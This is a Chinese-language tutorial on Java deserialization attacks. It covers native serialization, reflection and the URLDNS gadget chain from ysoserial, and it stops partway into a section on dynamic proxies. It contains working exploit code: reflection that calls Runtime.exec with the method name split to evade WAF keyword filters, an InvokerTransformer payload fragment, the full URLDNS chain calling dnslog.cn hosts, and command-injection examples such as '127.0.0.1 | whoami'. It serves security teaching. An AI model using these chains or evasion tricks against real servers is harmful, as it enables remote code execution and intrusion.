保姆级讲解CC1-7(跟踪代码调试+讲解)
保姆级讲解CC1-7(跟踪代码调试+讲解)
本文参考:
1.哔哩哔哩视频:白日梦组长
2.https://github.com/frohoff/ysoserial
1-Java原生序列化与反序列化
先从开发的视角来讲——从基础讲清楚,再从安全的角度讲。
序列化的概念,两句话来说:
就是把一个Java对象转换成字节流、字符串,或者二进制文件的形式;
反序列化,就是把这些字节、文本数据,再还原成Java对象。
为什么要做序列化和反序列化呢?
核心目的就是为了对象的传输与持久化。
比方说想要在两台机器之间通信,要传输一个Java对象,就是通过序列化,把对象转换成可传输的字节流,写入到文件里,或者封装到网络流中进行传输。
常见应用场景也很明确,比如把对象持久化保存到本地文件中,或者在网络通信中传输对象数据。Java的序列化方案不只有原生实现,常用的也不是原生序列化,
比如基于XML、SOAP、JSON,还有Protocol Buffers(简称 Protobuf) 、Thrift、Hessian这些。
简单的例子
先从Java原生序列化开始。原生序列化的实现,先看一个简单的例子。
这里定义了一个Person类,里面有name、age两个成员变量,有对应的构造方法,还重写了toString方法。
public class Person implements Serializable {
private String name;
private int age;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}尝试正常使用,new一个Person对象,把它打印出来,这是最基础的用法。
public class Main {
public static void main(String[] args) {
Person person = new Person("qa", 77);
System.out.println(person);
}
}
接下来,假设要把这个对象从一台机器,传输到另一台机器,要怎么实现呢?就要通过序列化的方法,在发送端序列化这个对象,在接收端把它反序列化还原。我们看一下具体的代码实现
(假设这两个类在不同的机器上)。
序列化会用到ObjectOutputStream这个类,新建一个这个类的实例,里面传入一个输出流,用FileOutputStream文件输出流,把对象输出到一个文件里,文件名随便定义。然后调用writeObject方法,就完成了对象的序列化。
//第一台
public class SerializableTest {
public static void serializable(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = null;
try {
objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
} finally {
if (objectOutputStream != null) {
objectOutputStream.close();
}
}
}
public static void main(String[] args) {
Person person = new Person("qa", 77);
System.out.println(person);
}
}反序列化的逻辑是反过来的,对应的类叫做ObjectInputStream,同样传入一个文件输入流,调用readObject方法,就把对象从文件中读取、反序列化出来了,核心也只有这一行代码。
public class UNSerializableTest {
public static Object unserializable(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = null;
try {
objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
} finally {
if (objectInputStream != null) {
objectInputStream.close();
}
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = (Person)unserializable("ser.bin");
System.out.println(person);
}
}执行序列化,把Person对象写入文件

执行反序列化,把对象读出来,打印这个对象,这就是Java原生序列化和反序列化的完整流程,简单的实现就是这样。

有几个关键细节,我们回头看这个Person类,会发现它实现了一个Serializable接口。

如果我们不实现这个接口,再尝试序列化这个类,代码就会直接报错,抛出NotSerializableException异常,提示这个类无法序列化,因为它没有实现Serializable接口。

看一下Serializable接口,它是一个空的标记接口,我们不需要去重写实现它的任何方法,只需要让类实现这个接口,给类做一个“可序列化”的标记即可。

关键特性
除了实现接口的要求,还有两个关键特性:
第一,静态成员变量是不能被序列化的。因为静态变量属于类本身,而序列化针对的是对象实例,所以静态变量不会参与序列化过程。
第二,还有transient关键字。被transient关键字标记的成员变量,不会参与序列化过程。
我们试一下,给Person类的name成员变量加上transient修饰,然后序列化这个对象

再反序列化读取出来并打印,会发现name这个变量的值变成了null。

这就说明,被transient标记的变量,实际上没有被序列化保存,反序列化后也无法还原它的值。
这个点后续要注意,看一个类的时候,看到transient关键字,就要知道这个变量不会被序列化传输。
开发中的实际例子
举一个开发中的实际例子:一个类对象里面有一个数组,长度是200,但实际上只存放了30个有效数据。如果把整个数组完整序列化传输过去,就会产生很大的空间浪费。那开发者想要优化这个序列化逻辑,要怎么做呢?
JDK给开发者提供了自定义序列化的能力,就是可以在类中重写writeObject和readObject这两个方法。如果类重写了这两个方法,在序列化和反序列化的时候,JVM就不会调用原生的序列化逻辑,而是会执行重写方法里的代码。
public class DataArray implements Serializable {
private String name;
private transient int[] data; // transient数组,不会被默认序列化
public DataArray() {
}
public DataArray(String name) {
this.name = name;
this.data = new int[100];
// 初始化100个元素
for (int i = 0; i < 100; i++) {
this.data[i] = i + 1; // 值从1到100
}
}
@Override
public String toString() {
return "DataArray{" +
"name='" + name + '\'' +
", data=" + Arrays.toString(data) +
'}';
}
// 自定义序列化方法
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// 执行默认序列化
s.defaultWriteObject();
// 只序列化前30个元素
for (int i = 0; i < 30; i++) {
s.writeInt(data[i]);
}
}
// 自定义反序列化方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 执行默认反序列化
s.defaultReadObject();
// 只反序列化30个元素
data = new int[30];
for (int i = 0; i < 30; i++) {
data[i] = s.readInt();
}
}
}
public class DataArrayTest {
public static void main(String[] args) throws Exception {
// 创建DataArray对象(包含100个元素)
DataArray array = new DataArray("测试数据");
System.out.println("原始数组长度: " + array.toString().split(",").length);
System.out.println("原始对象: " + array);
// 序列化到文件
System.out.println("\n序列化中...");
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"))) {
oos.writeObject(array);
}
System.out.println("序列化完成!");
// 从文件反序列化
System.out.println("\n反序列化中...");
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.ser"))) {
DataArray deserializedArray = (DataArray) ois.readObject();
System.out.println("反序列化数组长度: " + deserializedArray.toString().split(",").length);
System.out.println("反序列化后的对象: " + deserializedArray);
}
System.out.println("反序列化完成!");
}
}
这个例子,开发者可以在重写的writeObject里,先调用原生的序列化方法保证基础逻辑正常,再只把数组里前30个有效数据序列化保存;在readObject里,也对应只读取这30个有效数据,完成反序列化还原。
这个特性的好处是:开发者可以更灵活地控制序列化的过程。
同时也引入了严重的安全问题:
如果服务端接收了一个恶意的序列化对象,而这个对象对应的类重写了readObject方法,那么在反序列化这个对象的时候,这个readObject方法里的代码,会被自动、无条件地执行。
把序列化后的恶意数据传到服务器上,只要服务器对这个数据执行了反序列化操作,里面的代码就一定会在服务器上执行,不管内容是什么。
反序列化这个机制,直接给攻击者提供了在服务器上执行任意代码的能力,这就是它最本质的危险之处。
转化成可利用漏洞
怎么把这个风险,转化成一个可实际利用的漏洞呢?分几种情况:
1.传过去的恶意类,它的readObject方法里直接就包含危险代码,比如命令执行的逻辑。这是最理想的情况,但这种情况在实际场景中基本不可能出现。因为这么危险的类,不会有开发者在服务端这么写代码;就算有,你在没有服务端源码的情况下,也不可能知道这个类的存在,更无法构造对应的恶意数据。
2.传过去的类,相当于一个“包裹”,它里面封装了另一个类,它的readObject方法可以触发内部这个类的相关方法,执行第二层类里的逻辑。往下延伸,就是套娃的逻辑了:最外层的对象里套了一个类,那个类里又套了另一个类,嵌套了很多层,最终才会调用到一个危险的方法,完成恶意代码执行。
3.反序列化本质上是从一串字节流,还原出一个类对象加载到JVM内存中。Java里的类不会凭空出现,一定会经过类加载的过程,而Java自身的类加载机制里,也有可能在类加载阶段就执行代码(在后面的内容会讲到)
第一种情况
先看第一种最基础的情况:
回到刚才的Person类,重写它的readObject方法,在里面直接加上命令执行的代码,然后把这个类的对象序列化,再执行反序列化。


会发现,反序列化就会执行readObject里的代码,完成命令执行。
第二种情况
第二种情况,需要找到一个满足条件的类:里面可以封装任意的对象,并且readObject方法里,会调用封装的这个对象的某个方法。这种情况的灵活性更高,利用的可能性也更大。
但实际上,满足条件的类也不是很多。因为要反序列化一个对象,前提是服务端的环境里,必须存在这个类的字节码,也就是这个类必须在服务端的CLASSPATH下。
所以大部分情况下,我们要找的,要么是JDK内置的类,要么是市面上非常通用的框架、第三方依赖包里面的类。
而且这个类还要满足几个核心条件:
1. 必须实现了Serializable接口,也就是可序列化;
2. 必须重写了readObject方法;
3. 它的成员变量最好可以接收任意类型的对象,就算不行,至少也要是一个接口类型,且这个接口有非常多的实现类;
4. 最好是JDK自带的类,这样通用性最强,不用依赖服务端引入额外的第三方包。
满足条件的入口类
Java里的Map接口,它的键值对都可以是Object类型,可以存放任意类型的对象。

那Map的实现类里,最常见的就是HashMap、Hashtable,它们都实现了Serializable接口,都是可序列化的。

我们就以HashMap作为例子,它已经满足了我们刚才说的几个条件:

1.实现了Serializable接口可序列化
2.参数类型非常宽泛
3.是JDK自带的类,是一个非常完美的反序列化攻击入口类。
那我们再看,HashMap也重写了自己的readObject方法。

为什么HashMap要重写这个方法?
第一,HashMap作为常用的集合类,本身就有序列化传输的业务需求;
第二,它的键值对参数类型宽泛,这是Map的核心特性,本身没有问题;
第三,最关键的一点,它必须重写readObject方法,是因为要保证键的唯一性。HashMap要通过计算键的hashCode值,来确定键值对的存储位置,保证键不重复。如果键是一个对象,那么在不同的JVM实例、不同的机器上,计算出来的hashCode值可能是不一样的,所以它必须把对象拆开,把每一个元素单独读取、单独计算哈希值,因此必须重写readObject方法来自定义反序列化逻辑。
我们看一下HashMap的readObject方法里到底做了什么。

前面的代码都是常规的模板逻辑,最关键的是在方法的最后,它把key和value从流中读取出来之后,调用了hash()方法,来计算这个key的哈希值,这就是我们刚才说的,重新计算key的哈希值的逻辑。
我们跟到hash()方法里面,

发现:如果这个Object类型的key不为空,它就会调用key的hashCode()方法。
为什么能确定这个key一定有hashCode()方法?(Java基础)
Java里所有的类,都继承自Object根类,而Object类里自带了hashCode()、equals()、toString()这些基础方法,所以说,所有Java对象,都一定有这几个方法。
总结(重点)
如果在找反序列化利用链的时候,某个类重写了hashCode()、equals()、toString()这些所有对象都有的通用方法,并且这个方法里面存在潜在的危险函数,同时这个类是可序列化的,那它有可能成为利用链上的一环。这就是入口类的核心逻辑。(这里一定要理解)
解释:把重写了危险 hashCode() 的类,作为 key 放进 HashMap 里,把这个 HashMap 序列化再反序列化,HashMap 的 readObject 就会自动帮我们调用那个危险的 hashCode()。
简单总结一下,要实现一次完整的反序列化攻击,核心分为三个部分:
第一,找到一个入口类
要求:JDK 自带,重写readObject,内部调用hashCode/equals/toString等通用方法,可封装任意对象
第二,找到调用链
逻辑:从入口通用方法开始,找重写该方法的类 → 其内部再调用另一类的同名方法 → 通过 “相同方法名 + 兼容类型(同父类 / 接口)” 层层传递。(这个我们后面讲)
第三,找到执行类,也叫Sink点
定义:最终执行恶意操作的代码位置(如 RCE、SSRF、文件写入等)。
2-反射
反射(Reflection)核心是----反向获取与操作。
- 正常流程:定义类 → 实例化对象 → 调用方法 / 访问属性。
- 反射流程:先获取类的原型(Class 对象),再反向映射、操作类里的所有内容(包括私有的)。
可以把它理解成一面镜子,一个对象放到这面镜子前一照,里面所有的属性、方法、构造函数,哪怕是私有的,全都能被照出来,用这个方式来理解反射,会好懂很多。
反射有什么用?
最核心的一点,让Java这门强类型语言拥有了动态性。Java是一门强类型的编程语言,代码在编译之后,类名、方法名、参数类型就已经固定了,不能随意改变。
像PHP这类弱类型语言,把一个字符串作为函数名去执行,比如传进去的字符串是phpinfo,就会执行phpinfo函数;传的是echo,就会执行echo语句,能根据传入的字符串不同,动态执行不同的代码。
<?php eval("<?php phpinfo(); ?>"); ?>
Java正常开发是没有这个能力的,通过反射,可以实现这种动态操作。
反序列化漏洞利用中,反射的常用场景:
修改已有对象的属性、动态生成对象、动态调用类的方法,操作对象内部的私有属性、甚至是内部类的方法。
(提前讲清楚,避免后面漏洞利用的时候,再看到这些知识点会觉得混乱。)
代码示例:
接着前文Person类来讲。定义一个测试类,实例化一个Person对象
public class ReflectionTest {
public static void main(String[] args) {
Person person = new Person();
person.getClass();
}
}我们讲反射的第一个核心方法:getClass()。

这是Object类里自带的方法,它会返回一个Class类型的泛型对象。
Class c = person.getClass();
这里我们得到了一个大写的Class对象
Class和class的区别(重点)
平常我们定义类的时候,会用到小写的class关键字,这个大写的Class对象,和小写的class关键字到底是什么关系?
- 小写 class:是用来定义类的关键字,相当于画 “类的图纸”。
- 大写 Class:是类编译后生成的 .class 字节码文件在内存中的“原型对象”,相当于“图纸的电子版”。
例子:Person 类的 getClass() 返回 Person.class,Student 类返回 Student.class—— 它们都是 Class 类型,但对应不同的类原型。
(使用AI生成)

如何获取大写的 Class 对象?
我们可以跟进去看一下Class类里有哪些核心方法


最常用的就是forName()方法。返回值也是一个泛型的Class对象,作用是:把类的全限定名以字符串的形式传进去,比如传com.test.Person,它就会返回Person类对应的Class原型对象;
Class.forName("org.example.Person");
小总结:
反射的所有操作,本质上都是在操作这个Class原型对象,因为反射就是从类的原型里,反向生成、操作类的所有内容,原型就是这个Class对象。
使用反射操作类
使用反射,一般都要实现哪些操作?
1. 通过Class原型对象,实例化出类的对象;
2. 获取类里的属性,并且可以修改属性值;
3. 获取类里的方法,并且可以动态调用这个方法。
第一个操作:通过反射实例化对象。
Class类里有一个newInstance()方法。但这个方法是无参的,不能传入构造参数,它默认调用的是类的无参构造函数。

如果想调用类的有参构造方法,怎么办?
要用到另一个方法:getConstructor()。作用:获取指定的构造方法。

Person 类有个构造方法接收 String 和 int 类型参数。

- 每种数据类型在内存中都有唯一的 Class 对象描述自己:String 用 String.class 获取,int 用 int.class 获取。
- 给 getConstructor() 传参时,传入这些参数对应的 Class 对象(String.class、int.class),JVM 就能匹配到对应的重载构造器。

告诉 JVM 要找的构造方法的入参类型,从而匹配到对应的重载构造器。
拿到构造器后,调用其 newInstance() 方法,传入构造参数即可实例化对象。
java/lang/reflect/Constructor.java

public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
//从原型class里面实例化对象
Constructor perconstructor = c.getConstructor(String.class,int.class);
//Constructor类里面的newInstance方法,返回泛型,所以需要向下转型
Person p = (Person) perconstructor.newInstance("aaa", 666);
}
}通过反射创建出 Person 对象后,将其强转为 Person 类型并打印,就能看到正常生成的对象了。

核心逻辑: 先拿到类的原型 Class 对象,再通过它调用对应方法,完成对象创建、属性操作、方法调用。参数类型如果觉得难懂,跟进方法源码照着参数要求写即可。
第二个操作:通过反射获取并修改类的属性。
Java 里类的属性对应的类叫Field,相关核心方法有四个:getField()、getFields()、getDeclaredField()、getDeclaredFields()。方法名后加s代表获取所有对应属性,返回Field数组。
java/lang/Class.java


getFields():调用getFields()获取 Person 类的所有属性,返回一个 Field 数组然后循环打印每个 Field 对象。


执行getFields()后,只打印出了public修饰的name属性,private的age没出来
原因:getFields()受权限限制,只能获取公开的属性
接下来尝试getDeclaredFields()方法

执行getDeclaredFields()后,private 修饰的 age 属性也被打印出来了。
加不加declared的核心区别:
不带declared:只能获取类中public修饰的公开属性 / 方法;
带declared:能获取类中所有属性 / 方法,不管是 private、protected 还是 default 修饰的。
除了批量获取属性,还可按属性名单独获取指定 Field 对象,示例:c.getField("name");
要修改 Person 对象 p 的 name 值(原值 aaa),可调用 Field 的set()方法。该方法有两个入参:第一个是要操作的目标对象,第二个是属性的新值。

第二个参数,就是我们要修改成的目标值;
那第一个参数obj是什么意思?
我们拿到的 Field 对象是从 Class 原型里获取的属性 “模板”
要修改属性值,必须指定具体是这个类的哪一个实例对象,所以这里传刚才创建的 Person 实例p。
Person p = (Person) perconstructor.newInstance("aaa", 666);
Field name = c.getField("name");
name.set(p,"abc");
System.out.println(p);
这样执行之后,name值就被修改了
尝试修改私有属性 age,用getField()拿不到;
换成getDeclaredField("age")后仍报错,抛出IllegalAccessException异常,原因是私有成员变量不允许直接访问和修改。

突破私有属性访问限制的方法:
对用getDeclaredField拿到的私有 Field 对象,调用setAccessible(true),传true就是无视 Java 访问修饰符,允许访问和修改。
Field name = c.getDeclaredField("age");
name.setAccessible(true);
name.set(p,777);
System.out.println(p);加上这一行之后再执行,就会发现我们成功修改了私有属性age的值。

总结: 用getDeclaredField()能拿到所有属性,配合setAccessible(true)就能无视访问权限,获取并修改任意属性的值
第三个操作:通过反射获取并调用类的方法。
方法操作和属性逻辑几乎一样,Java 里类的方法对应Method类。可调用getMethods()获取类里所有公开方法,返回Method数组后循环打印。
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
Method[] methods = c.getMethods();
for(Method m : methods){
System.out.println(m);
}
}
打印getMethods()会看到很多方法,有 Person 从 Object 根类继承的toString()、equals()、hashCode(),还有自写的run()。
和属性一样,也能按方法名单独获取:
Method methods = c.getMethod("run");
调用方法用invoke():
- 第一个参数:指定调用哪个实例对象的方法(和属性set()的第一个参数逻辑一样)
- 第二个参数:可变参数,传入方法的实际参数

src/org/example/Person.java

run()方法,接收一个String类型的字符串作为参数,
Method methods = c.getMethod("run");
methods.invoke(p,"fast");发现了吗?之前获取构造方法时,必须传参数类型才能找到对应构造器;但现在我们只传了方法名,没传参数类型,能找到接收 String 参数的run()方法吗?

只传方法名会报错,因为getMethod()默认找无参方法,而我们的run()是有参的。
Method methods = c.getMethod("run",String.class);
methods.invoke(p,"fast");
逻辑和getConstructor()完全一致:getMethod()第一个参数是方法名,后面传入参对应的 Class 类型,JVM 才能找到对应重载方法
Method methods = c.getMethod("run",String.class);
Object invoke = methods.invoke(p, "fast");
再执行,方法成功调用,控制台打印出传入的参数内容。
私有方法调用逻辑和私有属性完全一样:private 修饰的方法,要用getDeclaredMethod()获取,同时调用setAccessible(true)开启访问权限。
private void run(String r){
System.out.println(r);
}
Method method = c.getDeclaredMethod("run",String.class);
method.setAccessible(true);
Object invoke = method.invoke(p, "fast");总结
所以反射的核心内容,总结下来就这三件事:
1. 通过Class对象实例化类的对象;
2. 通过Field对象获取、修改类的属性,包括私有属性;
3. 通过Method对象获取、调用类的方法,包括私有方法。
反射在反序列化漏洞利用里的核心作用:
第一、基础
刚才演示的,修改对象里的属性值,完成利用链的构造,这是最基础、最常用的场景。
第二、绕过
invoke()获取 Method 对象时,方法名通过字符串传入,具有动态性。遇到 WAF 过滤危险方法关键字时,可将方法名字符串拆分、拼接来绕过。
被拦截的代码(普通写法):
// WAF 一眼就看到了 "exec",直接拦截
Runtime.getRuntime().exec("calc");绕过代码(反射 + 拼接):
// 1. 获取 Runtime 类
Class<?> clazz = Class.forName("java.lang.Runtime");
// 2. 获取 getRuntime 方法(这里也可以拆分)
Method getRuntimeMethod = clazz.getMethod("getRuntime");
// 3. 获取 Runtime 实例
Object runtimeInstance = getRuntimeMethod.invoke(null);
// 4. 【关键点】构造 "exec" 字符串,绕过 WAF
String part1 = "ex";
String part2 = "ec";
String methodName = part1 + part2; // 运行时才变成 "exec"
// 5. 反射获取 exec 方法
// WAF 扫描这段代码时,只看到了 "ex" 和 "ec",没有 "exec"
Method execMethod = clazz.getMethod(methodName, String.class);
// 6. 执行命令
execMethod.invoke(runtimeInstance, "calc");原理: WAF 扫描的是源代码或网络数据包的文本,它看到的是 part1 + part2。而 invoke 执行的是内存里拼接好的结果。
更重要的是:如果找到一个类,其代码里调用了invoke()且方法名的字符串参数可控,那我们就能调用任意方法,不再局限于 “入口类调用了什么,才能利用目标类的什么”,让反序列化利用有了无限灵活性。
下面是CC1链的部分代码:
// 构造函数:可以传入任意字符串
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; // 这里!这一行决定了灵活性
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
// ... 省略代码 ...
// 反射调用
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); // 执行!
}
// 攻击者构造 Payload:参数设置为 "calc"
InvokerTransformer transformer = new InvokerTransformer("exec", ..., new Object[]{"calc"});
// 触发:
transformer.transform(runtimeObject);第三、关于Class类
Class类是可以序列化的,Class类实现了Serializable接口。

这意味着:反序列化时若遇到不能被序列化的类,可以先传它的可序列化 Class 对象,到服务端内存后,再通过反射调用构造方法,实例化出任意想要的对象
这个特性最常用的场景,就是Java的命令执行。
Java执行系统命令,最常用的就是Runtime类,比如Runtime.getRuntime().exec("calc");。

看 Runtime 类源码,它没实现 Serializable 接口,不能被序列化。
但它能在反序列化攻击里被用到:传Runtime.class这个 Class 对象,通过反射调用getRuntime()获取 Runtime 实例,再调用exec()执行命令。
注意:getRuntime()不能靠 “入口类自动调用同名方法” 触发,必须用反射invoke()动态调用
// 1. 获取 Runtime 类的 Class 对象
Class c1 = Runtime.class;
// 2. 【获取静态方法】 从类中获取 getRuntime() 方法的 Method 对象
// getRuntime 是一个静态方法 (static),它的作用是返回当前唯一的 Runtime 实例
Method getRuntime = c1.getDeclaredMethod("getRuntime");
getRuntime.setAccessible(true);
// 4. 【执行静态方法】 获取 Runtime 的实例对象
// 因为 getRuntime 是静态方法,它不需要依附于任何对象,所以 invoke 的第一个参数传 null
// 返回值 invokegetRuntime 就是那个 Runtime 对象实例!
Object invokegetRuntime = getRuntime.invoke(null);
// 5. 【获取实例方法】 获取 exec(String command) 方法的 Method 对象
Method exec = c1.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
// 7. 【执行实例方法】 最终执行命令!
// 关键点:exec 是实例方法 (非 static),它必须在一个对象身上执行。
// 第一个参数是invokegetRuntime (Runtime 对象实例)。
// 第二个参数 "calc" 要执行的命令。
exec.invoke(invokegetRuntime, "calc");
知识点:命令执行和代码执行哪个危害大?
- 命令执行 (Command Execution / Command Injection)
- 定义:控制操作系统(OS)的 Shell,去执行系统命令。
- 能做的:whoami, ls, cat /etc/passwd, ping, calc.exe。
- 局限性:只能做操作系统允许做的事。如果服务器没装 wget 或 curl,那就很难下载木马;如果权限不够,你就看不了某些文件。
- 例子:你在网页框里输入 127.0.0.1 | whoami。
- 代码执行 (Code Execution / Arbitrary Code Execution)
- 定义:能够控制应用程序的编程语言本身(比如 Java, PHP, Python),去执行任意逻辑。
- 能做的:调用系统命令(包含上文的操作)、操作内存、连接数据库、读取内部变量、修改业务逻辑。
- 局限性:几乎没有。只要是这门语言能做的事,你都能做。
- 例子:Java 反序列化(CC链),实际上是在执行 Java 代码。
总结就是代码执行危害更大。
反射是一个非常常用、非常核心的技术,一定要把它的基础逻辑掌握好。
3-URLDNS
有一个非常知名的Java反序列化利用工具,里面内置了很多现成的利用链
https://github.com/frohoff/ysoserial
我们先看里面最简单的一条:URLDNS这条链。
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

URLDNS 链效果:服务端存在反序列化漏洞点时,传入构造好的 URLDNS 序列化对象,服务端会向指定地址发起 DNS 请求,收到请求即可确认漏洞,逻辑类似无回显 SSRF 检测。
阅读代码
我们不倒推调用链,顺着思路讲 URLDNS 链的发现与构造:
最初安全研究者想找能直接 RCE 的利用链,找不到就先找能触发 SSRF 的,至少能验证漏洞是否存在;SSRF 核心是发起网络请求,Java 里和网络请求最基础相关的就是 URL 类。

URL 类实现了 Serializable 接口,可序列化,具备最基础的利用条件。
接下来找所有对象通用的方法,看 URL 的 hashCode ()。

里面有一个if判断,我们先跳过,核心是它调用了handler的hashCode()方法。

java/net/URLStreamHandler.java

跟进 hashCode () 方法,会发现它最终调用了 getHostAddress () 方法。
该方法会根据 URL 里的域名获取对应 IP,这个过程必然会发起一次 DNS 解析请求
小总结
只要调用了URL类的hashCode()方法,就会触发一次DNS请求,我们就可以通过这个特性,验证服务端是否存在反序列化漏洞。
所以这条链其实非常短,只有两个核心部分:
第一,入口类HashMap
第二,URL类
我们在前文已经讲过,HashMap的readObject方法里,会调用hash()方法,而hash()方法里,会调用key的hashCode()方法,正好就能触发URL类的hashCode()方法,完成DNS请求的触发。
构造利用链
定义一个 HashMap,key 类型可以写 Object 或直接写 URL(因为明确要传 URL 对象),value 类型随便定(比如用 Integer)。
往里面 put 构造的内容:key 是一个 URL 对象,value 随便放一个整数就行。

URL类的构造方法,最简单的就是直接传入一个URL链接字符串,我们这里就放一个用来接收DNS请求的地址。


按我们的想法,只要把这个HashMap序列化,再反序列化,就会触发DNS请求了。但实际测试的时候,会发现一个问题:我们在执行序列化的过程中,本地就已经收到了DNS请求,这是为什么?
public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
hashMap.put(new URL("http://ajrnsk.dnslog.cn"),666);
serializable(hashMap);
}
我们跟到HashMap的put方法里就会知道

为了保证键的唯一性,HashMap在执行put方法的时候,就已经会调用hash()方法

进而调用key的hashCode()方法了。就是说,我们在执行put这一行代码的时候,本地就已经发起了一次DNS请求。
小问题
这会带来两个严重的问题:
第一,影响我们的判断,我们会误以为是反序列化触发的请求,实际上是在本地构造对象的时候就已经执行了;
第二,我们回到URL类的hashCode()方法里


if判断:URL类里有一个hashCode成员变量,初始化的时候值是-1;如果hashCode不等于-1,就会直接返回这个缓存的值,不会再执行后续的getHostAddress()逻辑,也就不会发起DNS请求了。
我们在put的时候,已经调用了一次hashCode()方法,这个时候,URL对象里的hashCode变量,就已经从-1,变成了计算出来的哈希值,不再是-1了。

我们把这个状态的对象序列化,再反序列化的时候,因为hashCode的值不是-1,就不会再执行DNS解析的逻辑,自然也就收不到请求了。
初始:-1
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
刚创建 URL 对象,尚未调用 hashCode()
hashMap.put(new URL("http://ajrnsk.dnslog.cn"),666);
put 完之后:url 的 hashCode = 1234567890 <-- 这个数字是根据 URL 内容计算的固定值关键点
解决思路分两步:
1.put () 前:把 URL 对象的hashCode值改成非-1的数,这样 put 时调用hashCode()会直接返回缓存值,不执行 DNS 解析、不修改hashCode;
2.put 后、序列化前:把 URL 对象的hashCode值改回-1,反序列化时就会重新执行hashCode()完整逻辑,触发 DNS 请求。
修改已生成对象的私有成员变量,用反射即可 —— 能无视访问修饰符,直接改对象里的私有属性值。要改 URL 对象里私有的hashCode属性,就用刚才讲的反射方法

代码实现:
创建好URL对象,获取它的Class原型,接着获取它的hashCode属性,开启访问权限。
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
//这里不发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://ers65m.dnslog.cn");
Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,666);
hashMap.put(url,999);
serializable(hashMap);
}然后我们修改它的值,只要不是-1就行。
这时候我们再执行HashMap的put()方法,把URL对象作为key放进去,

执行后本地不会收到 DNS 请求,因为put()时调用hashCode()直接返回了设置的缓存值,没执行解析逻辑。
接下来只需在序列化前,把 URL 对象的hashCode值改回-1即可。
//这里不发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://ers65m.dnslog.cn");
Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,666);
hashMap.put(url,999);
//反序列时hashcode需要是-1
field.set(url,-1);
serializable(hashMap);我们来完整执行一遍:执行序列化,没有任何DNS请求;

接着执行反序列化,执行完成之后,就能收到服务端发起的DNS请求了,这就说明我们的利用链构造成功了。

总结,调试代码
我们通过调试来看一下:在反序列化的代码处打个断点,
java/net/URL.java

java/util/HashMap.java

调试执行的时候,查看URL对象的hashCode值,会发现它就是-1,

走到HashMap的readObject()方法里

这说明反射赋值成功,反序列化时会完整执行hashCode()逻辑,触发 DNS 解析。
这就是完整的URLDNS链,除去反射修改值的代码,核心逻辑就两行:创建一个URL对象,把它放到HashMap里,然后序列化这个HashMap对象。
完整执行流程
我们梳理一下这条链的完整执行流程?
1.入口触发:反序列化时,入口类 HashMap 的 readObject() 方法被自动调用;
2.中间调用:HashMap 的 readObject() 内部会调用其 key 的 hashCode() 方法;
3.目标达成:我们将 URL 对象作为 key 传入 HashMap,反序列化时就会自动调用 URL 的 hashCode() 方法,最终触发 DNS 解析。
为什么不直接序列化 URL 对象?
因为 URL 类自己的 readObject() 方法里没有可利用的逻辑,不会自动调用**hashCode()**;但 HashMap 的 readObject() 会自动调用 key 的 hashCode(),这是一个 “移花接木” 的过程
Java 原生反序列化利用链的通用逻辑
目标类里有能执行恶意操作的方法,但它不会被反序列化自动调用;于是找一个入口类,它的 readObject() 会在反序列化时自动执行,并且会调用目标类的那个恶意方法,从而完成利用
4-JDK动态代理(了解和会使用即可)
动态代理介绍
动态代理在Java反序列化漏洞利用中会用到,但不是最核心的技术。既然会用到,学一下比较好,不然后面讲利用链可能会有些内容不懂。动态代理是一种特殊的代理模式。

代理模式核心:不直接访问目标原对象,而是通过一个代理对象间接访问。
举个生活例子理解意义:比如租房,原对象是房东,代理是中介。你不直接找房东,而是找中介 —— 中介可以帮你处理看房、筛选房源、签合同这些额外事,你只需要和中介对接就行,这就是代理的价值。
- 原对象(房东):只做核心职责(租房、收房租),不想管其他事;
- 代理对象(中介):间接对接原对象,除了帮原对象完成核心动作,还能加额外功能(收中介费、带看房、处理维修 / 合同纠纷等)。

所以代理的核心意义:就是在不修改原对象、不改动原有代码的前提下,对原对象的功能进行扩展和增强。这就是代理模式最核心的使用场景。
静态代理调试
代理模式实现的第一步:必须定义一个接口(代理类和原对象都要实现它,保证代理能替代原对象使用)。
public interface IUser {
void show();
}代理模式实现的第二步:定义接口的实现类。比如创建一个 UserImpl 类实现 IUser 接口,简单实现 show() 方法 —— 方法里打印一句 “用户信息展示”,代表方法被调用了。
public class UserImpl implements IUser {
public UserImpl() {
}
@Override
public void show() {
System.out.println("用户信息展示");
}
}代理模式的正常使用流程:
- 先 new 一个接口实现类的对象,用接口类型接收;
- 直接调用接口方法(如 user.show()),控制台打印 “用户信息展示”,代表方法成功调用。

用代理类实现的步骤:
新建一个代理类(如 UserProxy),同样实现IUser接口,并在代理类内部持有真正要操作的原目标user对象。
public class UserProxy implements IUser {
IUser user;
public UserProxy() {
}
public UserProxy(IUser user) {
this.user = user;
}
@Override
public void show() {
user.show();
System.out.println("show方法被调用了");
}
